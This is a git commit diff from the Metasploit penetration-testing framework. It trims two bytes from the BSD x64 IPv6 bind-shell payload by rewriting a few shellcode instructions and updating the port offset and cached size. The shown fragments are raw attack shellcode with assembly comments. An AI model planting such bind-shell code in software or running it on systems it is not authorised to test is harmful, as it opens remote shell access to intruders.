Save two bytes on shell_bind_ipv6_tcp

bug/bundler_fix
jvazquez-r7 2015-10-01 09:33:22 -05:00
parent 88eecca4b1
commit 04879ed752
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
2 changed files with 6 additions and 5 deletions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 95
CachedSize = 93
include Msf::Payload::Single
include Msf::Payload::Bsd
@ -31,7 +31,7 @@ module Metasploit3
{
'Offsets' =>
{
'LPORT' => [ 21, 'n' ],
'LPORT' => [ 20, 'n' ],
},
'Payload' =>
"\x6a\x61" +# pushq $0x61 #
@ -46,8 +46,9 @@ module Metasploit3
"\x52" +# push %rdx #
"\x52" +# push %rdx #
"\x52" +# push %rdx #
"\x48\xba\x00\x1c\x11" +# mov 0x000000005c110200, #
"\x5c\x00\x00\x00\x00" +# %rdx #
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 #
"\x5a" +# pop %rdx #
"\x89\xd2" +# mov %edx, %edx #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x1c" +# pushq $0x1c #

View File

@ -47,7 +47,7 @@ module Metasploit3
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 #
"\x5a" +# pop %rdx #
"\x89\xd2" +# mov %edx, %edx #
"\x52" +# pushq %rdx #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x10" +# pushq $0x10 #
"\x5a" +# pop %rdx #